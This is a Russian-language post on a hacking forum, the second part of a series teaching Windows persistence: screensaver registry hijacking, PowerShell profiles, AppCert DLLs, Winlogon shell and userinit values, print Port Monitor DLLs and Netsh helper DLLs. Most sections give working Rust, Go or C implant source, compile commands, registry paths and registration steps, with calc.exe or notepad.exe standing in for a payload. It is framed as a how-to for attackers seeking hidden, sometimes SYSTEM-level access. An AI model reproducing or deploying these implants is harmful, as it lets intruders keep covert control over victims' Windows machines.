Техники сохранения присутствия в Windows (часть 2)

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

Часть 1 вы можете найти здесь: https://xss.is/threads/130098/

1- Screensavers.​

НазваниеНеобходимые привилегииИспользуется
ScreensaversОбычный пользователь/Средняя целостность (Medium)Gazer - бэкдор Turla Group
В 2017 году ESET опубликовал отчет об одной из кампаний группы Turla. Они описали бэкдор под названием Gazer. Он использовал интересный метод обеспечения постоянства, который заключался в изменении стандартной экранной заставки на компьютере с Windows.
Давайте сделаем то же самое. Сначала зайдем в редактор реестра, поскольку эта техника связана с изменением нескольких ключей в реестре. Если перейти к Current User, затем к Control Panel и Desktop, этот ключ содержит множество значений, которые также настраивают экранную заставку.
Screenshot 2025-01-07 190922.png





Сейчас мы не видим ничего особенного для экранной заставки, кроме этого SaveActiveSetting. Это означает, что данная машина фактически не использует экранные заставки в реальности. Возможно, это не так, но в любом случае давайте настроим это для нашего механизма персистентности.
Давайте напишем пример кода на Golang и Rust для редактирования ключей реестра.

Rust:
C++: Скопировать в буфер обмена
Код:
use winreg::enums::HKEY_CURRENT_USER;
use winreg::RegKey;
use winreg::enums::KEY_SET_VALUE;

fn main() {
    let hklm = RegKey::predef(HKEY_CURRENT_USER);
    let key = match hklm.open_subkey_with_flags("Control Panel\\Desktop", KEY_SET_VALUE) {
        Ok(key) => key,
        Err(_) => {
            println!("Error: Could not open the key");
            return;
        }
    };
    let _res =  match key.set_value("SCRNSAVE.EXE", &"C:\\Windows\\System32\\calc.exe") {
        Ok(_res) => {
            println!("Value set successfully");
        }
        Err(_) => {
            println!("Error: Could not set the value");
            return;
        }
    };
    //configure the timeout
    let _res =  match key.set_value("ScreenSaveTimeOut", &"7") {
        Ok(_res) => {
            println!("Value set successfully");
        }
        Err(_) => {
            println!("Error: Could not set the value");
            return;
        }
    };
    println!("Done");
}
Golang:
C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "fmt"

    "golang.org/x/sys/windows/registry"
)

func main() {
    k, err := registry.OpenKey(registry.CURRENT_USER, `Control Panel\Desktop`, registry.SET_VALUE)
    if err != nil {
        fmt.Println("Error: ", err)
        return
    }
    defer k.Close()

    err = k.SetStringValue("SCRNSAVE.EXE", "C:\\Windows\\System32\\calc.exe")
    if err != nil {
        fmt.Println("Error: ", err)
        return
    }
    //configure the timeout
    err = k.SetStringValue("ScreenSaveTimeOut", "7")
    if err != nil {
        fmt.Println("Error: ", err)
        return
    }
    fmt.Println("Success")
}
Если вы откроете редактор реестра на вашем компьютере с Windows, вы увидите следующий результат:
Screenshot 2025-01-07 191811.png


Опять же, эта техника работает только для обычного пользователя, поэтому не требуется высоких привилегий для её настройки. Итак, что мы делаем: мы просто создаём значение SCRNSAVE.EXE в этом ключе, указывающее на наш исполняемый файл полезной нагрузки. Хорошо. И второе, что стоит отметить - это тайм-аут. То есть через какое время должна запуститься экранная заставка, поэтому давайте установим 7 секунд для демонстрационных целей. И это всё. Техника готова. Мы установили нашу персистентность.

Итак, предположим, что пользователь вышел из системы, и теперь снова входит в систему. И я ничего не трогаю. Давайте подождем несколько секунд, пока запустится экранная заставка. И вот оно. Calc.exe был запущен как экранная заставка. И да, это практически всё об этой технике. Нужно помнить, что в корпоративных сетях эта экранная заставка может быть установлена групповой политикой, то есть через Active Directory. И в этих случаях данная техника может быть ненадежной, или вам придется найти другой способ обхода настроек групповой политики.
Screenshot 2025-01-08 142145.png



2- Powershell profile.​

НазваниеНеобходимые привилегииИспользуется
Powershell profileОбычный пользователь/Средняя целостность (Medium)Turla
Другая интересная техника заключается в злоупотреблении профилем Powershell. Эта техника может работать не на каждой машине Windows, так как она зависит от конкретной конфигурации. Она основывается на запуске Powershell на машине, что не происходит по умолчанию. Однако в корпоративных сетях скрипты входа в систему могут использовать Powershell и другие автоматизированные задачи, что делает эту технику возможной.

Когда Powershell запускается, он использует специальные параметры конфигурации, называемые профилями. Они могут быть установлены для пользователя или для машины. Для пользователей нужно создать файл profile.ps1 в определенной папке, которую нужно назвать windowspowershell. Эта папка должна находиться в Documents.
Screenshot 2025-01-08 143301.png



Теперь, если вы создадите файл с именем profile.ps1 в этой папке, он будет запускаться каждый раз, когда Powershell запускается под этим конкретным пользователем. Для демонстрации давайте создадим простой файл profile.ps1, содержащий одну строку для запуска нашей полезной нагрузки, в моем случае calc.exe.
profile.ps1:
Start-Process calc.exe

Теперь когда пользователь или другой механизм запускает Powershell, он будет проверять наличие файла profile.ps1 и запускать его в контексте пользователя. Что приведет к запуску нашего исполняемого файла, в данном случае (calc.exe).

3- AppCert Dlls.​

НазваниеНеобходимые привилегииИспользуется
AppCert DllsAdministrator/Высокая целостность (High)FIN8, Honeybee
В постоянно меняющемся ландшафте безопасности Windows, AppCert DLL представляют собой увлекательный, но потенциально опасный механизм персистентности, который специалисты по безопасности должны понимать. Эти специализированные динамически подключаемые библиотеки (DLL) используют малоизвестную функцию операционной системы Windows, которая автоматически загружает определенные библиотеки во время создания процесса, что открывает как легитимные возможности использования, так и вызывающие беспокойство последствия для безопасности. По своей сути механизм AppCert DLL активируется при первом вызове любой из основных функций Windows для создания процессов:

  • CreateProcess
  • CreateProcessAsUser
  • CreateProcessWithLogon
  • CreateProcessWithToken
Во время этих вызовов Windows обращается к определенному ключу реестра, расположенному по пути HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls. Любые DLL, перечисленные в этом месте реестра, автоматически загружаются в newly созданные процессы, предоставляя мощный метод внедрения кода в масштабах всей системы.
Screenshot 2025-01-09 191428.png





Особый интерес AppCert DLL представляют благодаря их специфическим требованиям к реализации. Для правильного функционирования эти DLL должны экспортировать функцию CreateProcessNotify, которая получает путь целевого процесса в качестве своего первого параметра. Такая конструкция позволяет осуществлять выборочное воздействие - специалисты по безопасности могут реализовать логику фильтрации для выполнения кода только в определенных процессах, вместо того чтобы влиять на каждый процесс в масштабах всей системы.
appcertdll.c :
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>

#define STATUS_SUCCESS 0

typedef enum _REASON
{
   PROCESS_CREATION_QUERY = 1,
   PROCESS_CREATION_ALLOWED = 2,
   PROCESS_CREATION_DENIED = 3
} REASON;

typedef NTSTATUS (NTAPI *pRtlAdjustPrivilege)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);

extern "C" __declspec(dllexport) NTSTATUS NTAPI CreateProcessNotify(LPCWSTR lpApplicationName, REASON Reason);

LPCWSTR Target = L"C:\\Windows\\System32\\winlogon.exe";

void Run() {
   //execute your logic ...
}



NTSTATUS NTAPI CreateProcessNotify(LPCWSTR lpApplicationName, REASON Reason) {
   NTSTATUS ntstatus = STATUS_SUCCESS;

   int r = -1;
   r = lstrcmpiW(Target,lpApplicationName);
   if (!r) {
      Run();
   }
   return ntstatus;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
   BOOLEAN bEnabled;
   NTSTATUS ntstatus;
   pRtlAdjustPrivilege RtlAdjustPrivilege = (pRtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");
   if (RtlAdjustPrivilege) {
      ntstatus = RtlAdjustPrivilege(20, TRUE, FALSE, &bEnabled);
      if (ntstatus != STATUS_SUCCESS) {
         return FALSE;
      }
   }
   switch (fdwReason) {
      case DLL_PROCESS_ATTACH:
         ntstatus = CreateProcessNotify(Target, PROCESS_CREATION_QUERY);
         break;
      case DLL_PROCESS_DETACH:
         ntstatus = CreateProcessNotify(Target, PROCESS_CREATION_DENIED);
         break;
   }
   return TRUE;
}

для компиляции в DLL введите в окне терминала:
g++ -shared -o appcert.dll appcertdll.c -fpermissive

Имейте в виду, что этот механизм имеет заметные ограничения. Тестирование показывает, что AppCert DLL ненадежно внедряются в GUI-приложения. Теперь перезагрузим систему и посмотрим, загрузилась ли наша DLL в некоторые процессы.
Screenshot 2025-01-09 185747.png


Как вы можете видеть на изображении выше, наша DLL была внедрена в 5 процессов Windows.

4- Winlogon SHELL-USERINIT.​

НазваниеНеобходимые привилегииИспользуется
Winlogon SHELL-USERINITAdministrator/Высокая целостность (High)Tropic Trooper, Gazer/Turla
Метод Winlogon SHELL-USERINIT включает в себя манипуляцию двумя критически важными значениями реестра в конфигурации входа Windows, расположенными по пути HKLM\SYSTEM\Microsoft\Windows NT\CurrentVersion\Winlogon.
Первое ключевое значение - "shell", которое определяет системную оболочку (обычно explorer.exe), запускаемую при входе пользователя. Второе важное значение - "userinit", отвечающее за инициализацию пользовательской сессии. Важно понимать процесс: WinLogon запускает userinit, который, в свою очередь, запускает оболочку. Особую эффективность этой технике придает то, что оба значения реестра могут содержать несколько исполняемых файлов.
Для реализации этой техники атакующий с повышенными привилегиями может изменить значение "shell", включив в него как explorer.exe, так и вредоносную нагрузку (например, "explorer.exe,calc.exe"). Вредоносный исполняемый файл должен находиться в каталоге System32, поскольку полные пути не могут быть указаны в этих значениях реестра, поэтому необходимо скопировать исполняемый файл туда. После внедрения userinit запустит как легитимный explorer.exe, так и вредоносную нагрузку с одинаковыми привилегиями.

Screenshot 2025-01-10 221145.png



В качестве альтернативы злоумышленники могут нацелиться на само значение "userinit", добавив свою вредоносную нагрузку параллельно с легитимным процессом userinit. В этом варианте имплант запускается как прямой дочерний процесс WinLogon, параллельно с userinit, а не как его дочерний процесс. Оба метода обеспечивают персистентность, хотя и различаются по иерархии процессов.
Screenshot 2025-01-10 221851.png




5- Port Monitors.​

НазваниеНеобходимые привилегииИспользуется
Port MonitorsAdministrator/Высокая целостность (High)Неизвестный
Что такое Port Monitor?
Port Monitor - это компонент Windows, отвечающий за управление взаимодействием между службами очереди печати и физическим оборудованием принтера. Port Monitor работает путем передачи необработанных команд устройству — как правило, принтерам, подключенным либо локально через последовательные порты, либо по сети. Port Monitor реализован как динамически подключаемая библиотека (DLL) и служит важным звеном между службой очереди печати и устройством принтера. В контексте обеспечения постоянного присутствия в системе, возможность установки и настройки пользовательской DLL Port Monitor предоставляет злоумышленнику способ внедрить вредоносный код в службу очереди печати. После установки такой Port Monitor может непрерывно выполнять полезную нагрузку злоумышленника с системными привилегиями (NT AUTHORITY\SYSTEM), тем самым сохраняя скрытое присутствие в системе. Чтобы создать постоянно действующий Port Monitor, злоумышленнику сначала нужно разработать пользовательскую DLL, которая имитирует функциональность легитимного Port Monitor. Основная функция, на которой следует сосредоточиться — это initializePrintMonitor2, которая вызывается при загрузке DLL Port Monitor в систему. Эта функция должна заполнить структуру монитора, что является обязательным процессом для взаимодействия Port Monitor со службой очереди печати.

В злонамеренных целях эта функция initializePrintMonitor2 может быть модифицирована для запуска полезной нагрузки, внедряя вредоносный код в систему при загрузке Port Monitor. Этот код может варьироваться от простых бэкдоров до более сложных эксплойтов, в зависимости от цели злоумышленника. Вредоносный код будет работать в фоновом режиме, часто с привилегиями уровня SYSTEM, тем самым обеспечивая сохранение доступа злоумышленника даже после перезагрузки системы. Таким образом, код DLL будет выглядеть примерно так, и вы можете модифицировать его как угодно.

portmon.c:
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <winsplp.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

void Run() {
    STARTUPINFO si = {sizeof(si)};
    PROCESS_INFORMATION pi;
    CreateProcess("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

// Monitor functions
BOOL WINAPI pfnOpenPort(HANDLE hMonitor, LPWSTR pName, PHANDLE pHandle)
{
    return TRUE;
}

BOOL WINAPI OpenPortEx(HANDLE hMonitor, HANDLE hMonitorPort, LPWSTR pPortName,
                      LPWSTR pPrinterName, PHANDLE pHandle, LPMONITOR2 pMonitor)
{
    return TRUE;
}

BOOL WINAPI pfnStartDocPort(HANDLE hPort, LPWSTR pPrinterName, DWORD dwJobId,
                           DWORD dwLevel, LPBYTE pDocInfo)
{
    return TRUE;
}

BOOL WINAPI WritePort(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuf, LPDWORD pcbWritten)
{
    return TRUE;
}

BOOL WINAPI ReadPort(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuffer, LPDWORD pcbRead)
{
    return TRUE;
}

BOOL WINAPI pfnEndDocPort(HANDLE hPort)
{
    return TRUE;
}

BOOL WINAPI ClosePort(HANDLE hPort)
{
    return TRUE;
}

BOOL WINAPI pfnXcvOpenPort(HANDLE hMonitor, LPCWSTR pszObject, ACCESS_MASK GrantedAccess, PHANDLE phXcv)
{
    return TRUE;
}

DWORD WINAPI XcvDataPort(HANDLE hXcv, LPCWSTR pszDataName, PBYTE pInputData,
                        DWORD cbInputData, PBYTE pOutputData, DWORD cbOutputData,
                        PDWORD pcbOutputNeeded)
{
    return ERROR_SUCCESS;
}

BOOL WINAPI XcvClosePort(HANDLE hXcv)
{
    return TRUE;
}

VOID WINAPI pfnShutdown(HANDLE hMonitor)
{
    return;
}

DWORD WINAPI pfnNotifyUsedPorts(HANDLE hMonitor, DWORD cPorts, PCWSTR *ppPortNames)
{
    return ERROR_SUCCESS;
}

LPMONITOR2 WINAPI InitializePrintMonitor2(PMONITORINIT pMonitorInit, PHANDLE phMonitor)
{
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Run, 0, 0, 0);
 
    // Allocate memory for the monitor structure that persists after function return
    LPMONITOR2 pMon = (LPMONITOR2)GlobalAlloc(GPTR, sizeof(MONITOR2));
    if (!pMon) return NULL;
 
    pMon->cbSize = sizeof(MONITOR2);
    pMon->pfnOpenPort = pfnOpenPort;
    pMon->pfnOpenPortEx = OpenPortEx;
    pMon->pfnStartDocPort = pfnStartDocPort;
    pMon->pfnWritePort = WritePort;
    pMon->pfnReadPort = ReadPort;
    pMon->pfnEndDocPort = pfnEndDocPort;
    pMon->pfnClosePort = ClosePort;
    pMon->pfnXcvOpenPort = pfnXcvOpenPort;  // Changed to use pfnXcvOpenPort
    pMon->pfnXcvDataPort = XcvDataPort;
    pMon->pfnXcvClosePort = XcvClosePort;
    pMon->pfnShutdown = pfnShutdown;
    pMon->pfnNotifyUsedPorts = pfnNotifyUsedPorts;
 
    return pMon;
}
Перед компиляцией убедитесь, что у вас установлен MinGW. Если вы еще не сделали этого, вы можете установить его, перейдя по ссылке https://code.visualstudio.com/docs/cpp/config-mingw. Также вам нужно установить Windows Kits. Теперь вы можете скомпилировать код как DLL, введя команду:
g++ -shared -o portmon.dll portmon.c -fpermissive

После этого скопируйте полученный DLL файл (portmon.dll) в папку System32. Следующий шаг - настроить систему для его автоматической загрузки. Это делается путем изменения реестра Windows. Ключ находится по пути: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\Local Port
Теперь мы изменяем ключ "Driver" на наш собственный пользовательский DLL portmon.dll.

Screenshot 2025-01-11 144555.png



и все, теперь перезагружаем компьютер, чтобы проверить результат.
Screenshot 2025-01-11 143701.png


Screenshot 2025-01-11 144157.png



Как видите, DLL успешно загружена, и наша полезная нагрузка в данном случае Notepad.exe запущена как системный процесс под spoolsv.exe.

6- Netsh Helper DLLs​

НазваниеНеобходимые привилегииИспользуется
Netsh Helper DLLsAdministrator/Высокая целостность (High)Неизвестный
Что такое Netsh?
Netsh (Network Shell) - это утилита командной строки, которая позволяет системным администраторам и пользователям просматривать или настраивать сетевые параметры в операционных системах Windows. Она предоставляет мощный инструмент для управления сетевыми интерфейсами, правилами брандмауэра и другими критически важными сетевыми конфигурациями. Учитывая её широкое использование и важную роль в администрировании сети, она также является основной целью для эксплуатации злоумышленниками, стремящимися сохранить доступ.

Утилита Netsh от Microsoft допускает расширяемость, что означает, что разработчики могут создавать пользовательские модули или расширения для добавления новых функциональных возможностей. Эти расширения реализованы как динамически подключаемые библиотеки (DLL), известные как "Вспомогательные DLL Netsh". Внедряя новые вспомогательные DLL, злоумышленники могут внедрять вредоносные функции в инструмент Netsh, по сути встраивая постоянный код, который выполняется при каждом запуске Netsh.

Одним из ключевых преимуществ этого метода является то, что Netsh имеет высокопривилегированные операции в системах Windows, особенно в управлении сетью. В результате наличие вспомогательной DLL Netsh предоставляет злоумышленникам возможность выполнять вредоносный код, оставаясь незамеченными для традиционных инструментов мониторинга безопасности.

Процесс установления постоянства через вспомогательные DLL Netsh относительно прост, но очень эффективен. Метод включает создание пользовательской DLL, которая содержит функцию под названием InitHelperDll. Эта функция автоматически вызывается при загрузке DLL системой, что обычно происходит при запуске Netsh.
nethelp.c :
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>

void Run() {
    STARTUPINFO si={sizeof(si)};
  PROCESS_INFORMATION pi;
    CreateProcess("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved) {
 HANDLE th;
 th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) Run, 0, 0, 0);
  WaitForSingleObject(th, 0);
  return 0;
}

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) {

    switch ( fdwReason ) {
        case DLL_PROCESS_ATTACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
            break;
        }
    return TRUE;
}
Теперь нам следует зарегистрировать DLL, выполнив следующую команду Netsh:
netsh.exe add helper [path to helper DLL]

Screenshot 2025-01-11 161958.png


Каждый раз, когда вызывается Netsh (например, сетевым администратором или автоматизированным скриптом системы), вредоносная DLL будет загружена, и имплант будет выполнен в нашем случае как Notepad.exe.
Screenshot 2025-01-11 162111.png


Screenshot 2025-01-11 162226.png


Чтобы удалить эту настойчивость, вам необходимо выполнить команду, показанную ниже.
Screenshot 2025-01-11 162443.png


Надеюсь, вам понравится моя статья. Если у вас есть какие-либо вопросы, отзывы или предложения, или если вы заметили какие-либо ошибки, пожалуйста, не стесняйтесь оставлять комментарии.
Написано с любовью ❤️ для XSS.is пользователем voldemort
 
Сверху Снизу